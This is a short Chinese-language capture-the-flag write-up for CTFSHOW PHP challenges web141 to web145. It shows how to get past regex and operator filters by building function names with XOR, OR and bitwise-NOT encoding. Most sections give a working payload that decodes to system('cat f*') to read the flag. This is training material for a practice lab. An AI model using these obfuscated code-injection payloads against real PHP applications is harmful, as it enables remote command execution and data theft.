1.web141
^\w+$表示在开头和末尾匹配字母数字_,传入的v3值不能有字母数字_,即无字母的命令执行
php中1-phpinfo()是可以执行的,加减乘除都可以实现
这里或,异或,取反等运算都可以
这里采用羽师傅的异或脚本生成payload
payload:
#system('cat f*')
v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%00"^"%60%60%7c%20%60%2a");
2.web142
payload:
v1=0
3.web143
过滤了取反,+,-等符号,还可以用或异或等运算
重新用脚本生成payload
payload:
#system('cat f*')
v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*
4.web144
和上题类似
#system('cat f*')
v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%00"^"%60%60%7c%20%60%2a");
5.web145
过滤了加减乘除和异或,这里可以用三目运算符绕过
#system('cat f*');
v1=1&v2=0v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):
或,异或,取反命令构造脚本https://blog.csdn.net/miuzzx/article/details/109143413https://blog.csdn.net/miuzzx/article/details/109143413
参考文章
CTFSHOW PHP特性篇 (下篇132-150)_https://blog.csdn.net/miuzzx/article/details/109197158